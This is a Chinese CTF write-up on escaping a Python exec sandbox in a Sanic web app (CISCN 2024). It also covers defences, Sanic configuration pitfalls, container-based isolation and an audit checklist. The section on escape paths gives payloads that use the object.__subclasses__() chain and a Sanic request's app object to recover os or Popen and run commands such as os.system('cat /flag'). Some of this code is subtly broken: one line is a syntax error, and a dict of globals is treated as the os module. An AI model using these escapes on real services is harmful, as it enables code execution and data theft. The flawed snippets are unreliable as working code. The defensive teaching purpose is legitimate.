1. 项目概述:一次由CTF引发的深度安全审计

最近在复盘CISCN 2024的一道Web题目时,我遇到了一个非常典型的Python沙盒逃逸场景,而它的载体,正是近年来在异步Web开发领域颇受关注的Sanic框架。这道题没有复杂的业务逻辑,核心就是一个简单的代码执行端点,但它的过滤和逃逸路径却巧妙地利用了Sanic框架自身的一些特性和Python语言的“魔法”。这让我意识到,很多开发者在使用像Sanic、Flask、FastAPI这类框架构建微服务或API时,可能只关注了其高性能、易用性,却忽略了当它们与“用户可控代码执行”这种危险操作结合时,框架本身就可能成为攻击的跳板。这次实战分析,不仅仅是为了解一道CTF题,更是想深入探讨在Sanic框架环境下,构建一个“相对安全”的代码执行沙盒需要考虑哪些层面,以及框架的哪些默认行为可能暗藏玄机。

简单来说,这个场景模拟了一个提供在线Python代码片段执行功能的“沙盒”服务。用户提交一段代码,服务端在一个受限制的环境(沙盒)中运行它并返回结果。题目(或说这个有问题的服务实现)的目标是阻止你执行任意系统命令(如 os.system(‘ls’) )或访问敏感文件。然而,通过一系列对Python对象、导入机制以及Sanic框架内部状态的“迂回”操作,我们最终能够突破限制,实现沙盒逃逸(Sandbox Escape),执行任意代码。这个过程涉及对Python语言本身的深入理解、对Sanic应用上下文(Context)的剖析,以及对“安全”配置误区的重新审视。

2. 沙盒环境构建与常见防御策略解析

在深入逃逸技术之前,我们必须先理解防御方(即题目出题人或服务开发者)通常会如何构建一个Python沙盒。这有助于我们明白攻击需要绕过哪些障碍。

2.1 基础沙盒构建思路

一个最基础的Python沙盒,通常会从以下几个层面进行限制:

  1. 模块黑名单/白名单 :这是最直观的防御。通过修改 __builtins__ 字典或使用 sys.modules 来删除或禁用危险的模块。最常被“封杀”的模块包括:

    • os :用于执行系统命令、操作文件系统。
    • subprocess :更强大的进程创建和管理。
    • sys :虽然部分功能必要,但其 sys.modules sys.path 等可能被利用。
    • importlib / __import__ :用于动态导入,是绕过静态限制的关键。
    • eval , exec , compile :虽然本题可能就在用 exec ,但沙盒内会禁止再次使用它们来执行动态代码。
  2. 内置函数过滤 :即使模块被删除,一些危险的内置函数( __builtins__ 下的)也需要被移除或覆盖,例如:

    • open :直接文件读写。
    • __import__ :同上。
    • eval , exec :同上。
    • getattr , setattr , delattr :用于操作对象属性,可能用于间接调用危险方法。
    • globals , locals :获取全局/局部命名空间,可能用于恢复被删除的模块。
  3. 访问控制 :利用Python的 sys.settrace sys.setprofile 设置跟踪函数,监控和拦截危险的字节码操作或函数调用。但这在Web服务中性能开销较大,且实现复杂。

  4. 容器化/隔离 :最彻底的方法是不在宿主机进程内执行,而是将代码丢入一个独立的、高度受限的容器(如Docker with --read-only , --cap-drop=ALL )或使用 seccomp 等系统调用过滤机制。但这超出了纯Python沙盒的范畴。

2.2 本题(及类似场景)的典型防御实现

根据CISCN 2024这道题的反推和常见模式,其沙盒环境很可能通过以下方式在请求处理函数中动态创建:

import sys
import builtins

def create_sandbox():
    # 创建一个新的命名空间(字典)
    restricted_globals = {
        '__builtins__': { ... }, # 一个被阉割过的内置函数字典
    }
    
    # 删除或覆盖危险模块
    for mod in ['os', 'subprocess', 'sys', 'importlib', 'builtins']:
        if mod in sys.modules:
            # 可能只是从当前命名空间删除,而非从sys.modules中移除
            restricted_globals[mod] = None 
            # 或者更彻底地:del sys.modules[mod] (但可能影响主程序)
    
    # 覆盖危险的内置函数
    restricted_globals['__builtins__']['open'] = None
    restricted_globals['__builtins__']['__import__'] = None
    restricted_globals['__builtins__']['eval'] = None
    restricted_globals['__builtins__']['exec'] = None
    
    return restricted_globals

# 在Sanic视图函数中
@app.post('/execute')
async def execute_code(request):
    user_code = request.json.get('code', '')
    sandbox_globals = create_sandbox()
    # 危险操作!这里通常就是漏洞起点。
    exec(user_code, sandbox_globals, {})
    return json({'result': 'executed (maybe)'})

注意 :直接在Web请求中使用 exec eval 执行用户输入是极度危险的行为,即使有沙盒。任何白名单之外的字符或功能都应被视为潜在威胁。这道CTF题的存在,本身就说明了这种设计的脆弱性。

开发者常见的误区

  • 只删命名空间,不删 sys.modules :认为 restricted_globals 里没有 os 模块就安全了,但攻击者可以通过 sys.modules[‘os’] 重新获取。
  • __builtins__ 处理不当 __builtins__ 可以是一个模块,也可以是一个字典。简单地赋值为一个空字典或自定义字典可能无法覆盖所有内置函数,或者攻击者可以通过其他对象的 __class__.__bases__[0].__subclasses__() 链找回原始的内置函数。
  • 忽略了Python对象的继承链 :Python中几乎所有东西都是对象,并且通过继承链与 object 类相连。从这个链上,可以找到许多未被沙盒直接禁用的类和方法,其中就可能包含执行命令或读文件的“后门”。

3. 逃逸路径探索:利用Sanic框架的“特性”

当基础的黑名单防御被绕过后,攻击者会寻找新的攻击面。在Sanic框架中,这个攻击面可能就是 应用实例本身 以及 请求上下文

3.1 从Python继承链到命令执行

这是Python沙盒逃逸的经典起点。当 os subprocess 被直接禁用时,我们可以尝试从已有的、未被禁用的Python对象中“钓”出它们。

# 假设我们在沙盒中,os和subprocess被从globals中删除
# 1. 获取object类
object_class = ().__class__.__bases__[0] # 或者 `object`
# 2. 获取object的所有子类
subclasses = object_class.__subclasses__()
# 3. 遍历寻找有用的子类
for i, subclass in enumerate(subclasses):
    print(i, subclass)

你会看到一个很长的列表,其中可能包含 <class ‘os._wrap_close’> , <class ‘subprocess.Popen’> 等。即使 os 模块本身不在你的命名空间,它的内部类依然作为 object 的子类存在。一旦找到索引,就可以直接调用:

# 假设找到os._wrap_close在索引123
os_wrap_close = ().__class__.__bases__[0].__subclasses__()[123]
# 这个类有一个属性 `__init__.__globals__`,它指向了定义这个类的模块的全局变量!
# 对于 os._wrap_close,这个模块就是 os。
os_module = os_wrap_close.__init__.__globals__
# 现在,我们拿到了原始的os模块!
os_module.system('id') # 执行系统命令

为什么这能成功? 因为沙盒只删除了当前执行命名空间中对 os 模块的引用,但并没有(也无法安全地)将 os 模块从Python解释器运行时中卸载。这些类的引用依然存在于内存的继承链中,成为了逃逸的“秘密通道”。

3.2 Sanic框架引入的新攻击向量

在纯粹的裸Python环境中,上述继承链攻击是标准操作。但当我们身处一个Sanic应用时,框架为我们提供了更多、更直接的“工具”。

攻击向量一:请求对象( request )与应用实例( app 在Sanic的视图函数中,我们可以访问到 request 对象。聪明的攻击者会想:这个对象是哪里来的?它身上有没有什么“宝贝”?

# 在沙盒的exec环境中,request对象很可能可以通过某种方式访问(比如作为参数传入,或通过闭包)
# 假设我们能拿到 request 对象
req = request # 或者从某个已知对象中查找

# 1. 通过request找到Sanic应用实例
app = req.app

# 2. Sanic应用实例是一个宝库
# 它可能有配置信息,其中包含敏感数据
config = app.config
# 它持有所有注册的路由、蓝图、中间件
# 更重要的是,它是在沙盒之外初始化的,因此它及其属性所引用的模块是完整的!

攻击向量二:从应用实例回溯导入系统 Sanic应用实例在创建时,必然导入了完整的 sys os 等模块。这些模块的引用可能以多种形式藏在应用对象、其属性或注册的扩展中。

# 思路:寻找app对象中任何可能指向标准库模块的属性或方法。
# 例如,某些中间件或监听器可能使用了这些模块。
# 一个更通用的方法是:遍历app对象的`__dict__`和所有属性。

import types
for key in dir(app):
    try:
        attr = getattr(app, key)
        # 寻找模块类型的属性
        if isinstance(attr, types.ModuleType):
            print(f'Found module: {key} -> {attr}')
            if attr.__name__ in ['os', 'subprocess', 'sys']:
                print(f'Bingo! Found {attr.__name__} module via app.')
                # 使用attr执行命令...
    except:
        pass

攻击向量三:利用Sanic的上下文(Context) Sanic有请求上下文( request.ctx )和应用上下文( app.ctx )用于存储自定义数据。如果开发者在主程序中为了方便,将某些工具函数或模块引用存在了这里,那么沙盒代码也能访问到。

# 如果开发者做了类似的操作
# app.ctx.utils = some_module
# 那么在沙盒中
utils_module = app.ctx.utils # 可能就拿到了一个功能强大的模块

3.3 实战逃逸步骤拆解

结合以上两点,在CISCN 2024题目中的逃逸路径可能如下:

  1. 确认环境 :首先,执行一段探测代码,确认 os , subprocess , __import__ 等是否在直接作用域被禁用。同时,尝试输出 locals() globals() ,看看有哪些“天然”可用的变量。 很可能发现 request 或一个包含请求信息的变量是可用的

  2. 定位Sanic App :通过 request.app 获取到Sanic应用实例。

  3. 搜索可利用的模块引用 :遍历 app 对象,或者更精准地,查找app的配置、注册的蓝图、路由列表等。可能会发现某个路由处理函数(虽然是函数对象)的 __globals__ 属性中包含了完整的模块导入。

  4. 迂回获取 sys.modules :即使不能直接访问 sys ,但通过某个找到的模块(比如一个第三方库模块),可以访问其 __spec__.loader 或者 __loader__ 属性,这些加载器对象很可能与 sys 模块有交互。或者,通过 ().__class__.__bases__[0].__subclasses__() 找到 _frozen_importlib.BuiltinImporter _frozen_importlib_external.FileFinder 这类加载器子类,它们的属性可能指向 sys.modules

  5. 恢复关键模块 :一旦间接访问到 sys.modules ,就可以直接取出被禁用的 os 模块: os = sys.modules[‘os’]

  6. 执行命令 :使用 os.system os.popen 或更隐蔽的 os.execve 等函数执行任意命令,读取flag文件。

一个高度简化的POC链可能看起来像这样 (假设 request 可用且 app 属性可访问):

# 用户提交的恶意代码
req = request
app_instance = req.app

# 方法1:假设app的某个配置项或扩展引用了某个模块,该模块的__globals__有sys
# 这里需要根据实际情况探索,例如Sanic的日志记录器可能用了logging模块
import types
for attr_name in dir(app_instance):
    try:
        attr = getattr(app_instance, attr_name)
        if isinstance(attr, types.ModuleType) and hasattr(attr, '__spec__'):
            # 尝试通过这个模块的加载器找到sys
            loader = attr.__spec__.loader
            if loader and hasattr(loader, '__class__') and hasattr(loader.__class__, '__init__'):
                # 尝试访问加载器初始化函数的全局变量
                loader_globals = loader.__class__.__init__.__globals__
                if 'sys' in loader_globals:
                    sys_module = loader_globals['sys']
                    os_module = sys_module.modules.get('os')
                    if os_module:
                        os_module.system('cat /flag')
                        break
    except Exception as e:
        pass

# 方法2:更直接地,从继承链中找到subprocess.Popen类(如果它没被从内存中彻底清除)
for i, cls in enumerate(()__class__.__bases__[0].__subclasses__()):
    if cls.__name__ == 'Popen':
        # 直接使用这个类
        proc = cls(['cat', '/flag'], stdout=-1, stderr=-1)
        output = proc.communicate()[0]
        print(output.decode())
        break

4. 从攻击视角看Sanic安全配置误区

这道题暴露的不仅仅是Python沙盒的通用问题,也反映了在使用Sanic这类异步框架时,开发者容易忽略的安全配置点。

4.1 误区一:认为异步框架天然更安全

Sanic的高性能源于异步I/O,但这与代码执行安全无关。 asyncio 本身并不提供沙盒隔离。在 async def 视图函数中执行 exec(user_code) ,其危险性与同步框架(如Flask)中的 exec 完全一样。异步环境下,一个恶意代码块甚至可能通过 asyncio.sleep(0) 配合循环来长期占用事件循环,导致服务拒绝服务(DoS)。

4.2 误区二:过度依赖请求上下文隔离

Sanic的 request 对象是每个请求独立的,但这不代表通过 request 访问到的 app 对象是隔离的。 app 是单例,全局共享。一旦攻击者通过任何请求的 request.app 拿到了应用实例,他就拥有了一个在沙盒外初始化的、包含完整运行时状态的“跳板”。开发者绝不能假设攻击者无法接触到 app 对象。

4.3 误区三:忽略框架自身模块的暴露

Sanic框架在启动时,会导入大量标准库和第三方依赖(如 httptools , uvloop , websockets 等)。这些模块的引用,可能通过应用实例、路由器、信号系统等暴露出来。攻击者不一定非要找 os ,他可能找到 importlib ,然后用它来导入 os ;或者找到 pathlib Path 类,用它来读取文件。框架的复杂性增加了攻击面。

4.4 误区四:配置信息泄露

app.config 字典可能包含数据库连接字符串、API密钥、加密盐值等敏感信息。如果沙盒代码能访问 app ,那么 app.config 就一览无余。在CTF题中,flag可能就在配置里;在真实场景中,这就是一次严重的数据泄露。

5. 构建更安全的Python代码执行服务

既然纯Python沙盒如此脆弱,那么如果业务上确实需要动态执行用户代码(例如在线编程教育、数据科学平台),我们应该怎么做?

5.1 原则:放弃进程内沙盒,拥抱操作系统级隔离

最根本的原则是:不要相信任何纯Python语言层面能构建的完美沙盒。 对于不可信代码,必须进行操作系统级别的隔离。

方案一:Docker容器隔离 为每个代码执行任务启动一个全新的、极度受限的Docker容器。

  • 镜像 :使用极简的Alpine Python镜像。
  • 资源限制 :严格限制CPU、内存、进程数。
  • 权限剥离 :使用 --user 指定非root用户, --cap-drop=ALL 移除所有内核权限。
  • 文件系统 :使用只读( --read-only )根文件系统,仅通过卷挂载提供必要的可写空间(如 /tmp )。
  • 网络 :使用 --network none 或内部网络,禁止外联。
  • 启动与清理 :代码执行完毕后,立即销毁容器。可以使用Docker SDK for Python或 subprocess 调用 docker run 命令。
# 伪代码示例
import docker
client = docker.from_env()

def run_code_in_container(user_code):
    container = client.containers.run(
        image='python:3.9-alpine',
        command=['python', '-c', user_code],
        mem_limit='100m',
        cpus='0.5',
        user='nobody',
        cap_drop=['ALL'],
        read_only=True,
        network_disabled=True,
        volumes={'/tmp': {'bind': '/tmp', 'mode': 'rw'}}, # 仅/tmp可写
        detach=True
    )
    # 等待执行完成,获取日志
    result = container.wait()
    logs = container.logs(stdout=True, stderr=True).decode()
    container.remove() # 立即清理
    return logs

方案二:系统命名空间隔离(Linux Namespace) 如果觉得Docker太重,可以使用 unshare nsenter 等工具,结合 seccomp cgroups ,在子进程中创建新的PID、网络、挂载等命名空间。这需要较强的系统管理知识。Python的 os 模块中的 unshare() 函数(Linux特有)可以部分实现,但更常用的是通过 subprocess.Popen 调用 unshare 命令。

5.2 加固:如果必须使用进程内沙盒

如果隔离方案因性能或复杂度无法实施,只能进行进程内限制,那么必须采取“纵深防御”策略:

  1. 使用专业的沙盒库 :考虑使用 PyPy sandbox 功能(但已不推荐用于生产),或 RestrictedPython (Zope项目的一部分)。 RestrictedPython 通过将代码编译成受限的字节码,并提供一个安全的 __builtins__ 集合来工作,但它也不是银弹,需要仔细配置。

  2. 彻底清空执行环境 :不仅要在 globals 中删除,还要尝试从 sys.modules 中卸载危险模块。但要注意,这可能会影响主程序的正常运行。

  3. 使用 ast 模块进行静态分析 :在执行前,对用户代码的抽象语法树(AST)进行遍历,禁止导入危险模块、调用危险函数、访问 __ 开头的魔术属性等。这可以拦截大部分简单的攻击payload。

  4. 设置超时和资源限制 :使用 signal.alarm (Unix)或 threading.Timer 来设置代码执行超时。使用 resource 模块限制内存和CPU时间。

  5. 将Sanic应用与执行器分离 :不要在执行用户代码的同一个Sanic工作进程中操作。可以创建一个独立的、高度受限的“执行器”进程或微服务,Sanic通过IPC(如管道、队列)或RPC将代码发送给它执行。这样即使执行器被攻破,影响的也只是这个辅助进程,主Web服务依然安全。

6. 针对CTF题与真实漏洞的排查清单

如果你在审计自己的Sanic应用,或者遇到类似的CTF题目,可以按照以下清单进行安全排查:

  1. 入口点 :应用是否存在任何形式的 eval exec compile pickle.loads yaml.load (无安全加载器)、 json.loads (配合 __init__ 利用)等可以执行代码或反序列化对象的端点?
  2. 过滤机制 :如果存在,过滤是黑名单还是白名单?是否只过滤了关键字?能否被大小写、双写、注释、字符串拼接、进制编码、Unicode混淆等方式绕过?
  3. 可用对象 :在执行上下文中,哪些对象是用户可访问的? request app session config ?尝试列出所有 locals().keys()
  4. 框架特性 :能否通过 request.app 访问到Sanic应用实例?应用实例上是否有危险的属性或方法? app.ctx 里有没有存放不该放的东西?
  5. Python内省 :即使 os 被删,能否通过 ().__class__.__bases__[0].__subclasses__() 找到它?能否通过 sys.modules (如果 sys 可用)找回被删除的模块?
  6. 导入系统 :是否禁用了 __import__ importlib ?如果没禁用,能否直接导入 os ?如果被禁用,能否通过其他方式(如 pkgutil find_spec )操作导入系统?
  7. 文件与命令 :最终目标是读文件或执行命令。除了 os.system / subprocess.Popen ,还有 os.popen os.exec* pty.spawn commands.getoutput (Python 2)等。文件读取除了 open ,还可以用 codecs.open io.open ,或者通过 __loader__.get_data (如果知道文件路径)等方式。

一个简单的自查脚本 (用于安全测试,切勿用于非法用途)可以模拟攻击者视角,检查你的沙盒环境:

# 这是一个用于自我审计的脚本,在你的“沙盒”环境中运行,看它能发现什么。
def audit_sandbox(globals_dict):
    findings = []
    
    # 检查可用的内置函数
    builtins = globals_dict.get('__builtins__', {})
    if isinstance(builtins, dict):
        dangerous = ['eval', 'exec', 'compile', '__import__', 'open', 'getattr']
        for d in dangerous:
            if d in builtins and builtins[d] is not None:
                findings.append(f'危险内置函数 {d} 可用')
    
    # 检查可用的模块(通过sys.modules或直接导入)
    # 这里需要先尝试获取sys
    # ... (模拟攻击链寻找sys)
    
    # 检查是否有request, app等对象
    for key, val in globals_dict.items():
        if 'request' in key.lower():
            findings.append(f'发现请求相关对象: {key}')
            # 尝试获取app
            try:
                if hasattr(val, 'app'):
                    findings.append(f'  可通过 {key}.app 访问Sanic应用实例')
            except:
                pass
        if 'app' == key:
            findings.append('发现直接可用的app对象')
    
    return findings

最后,我想强调的是,这道CISCN题目是一个绝佳的教学案例。它用一种尖锐的方式提醒我们,在追求开发效率和性能的同时,绝不能对安全抱有侥幸心理。Sanic框架本身没有错,错的是将它用于不安全的场景而不自知。作为开发者,我们必须时刻清楚自己引入的每一项技术、每一个功能所带来的风险边界在哪里。对于执行不可信代码这种“红线”操作,操作系统级别的隔离是唯一值得信赖的基石,任何在语言运行时层面的修补,都只能作为增加攻击难度的辅助手段,而非真正的安全解决方案。在安全的世界里,“可能”不安全,就等于“绝对”不安全。

更多推荐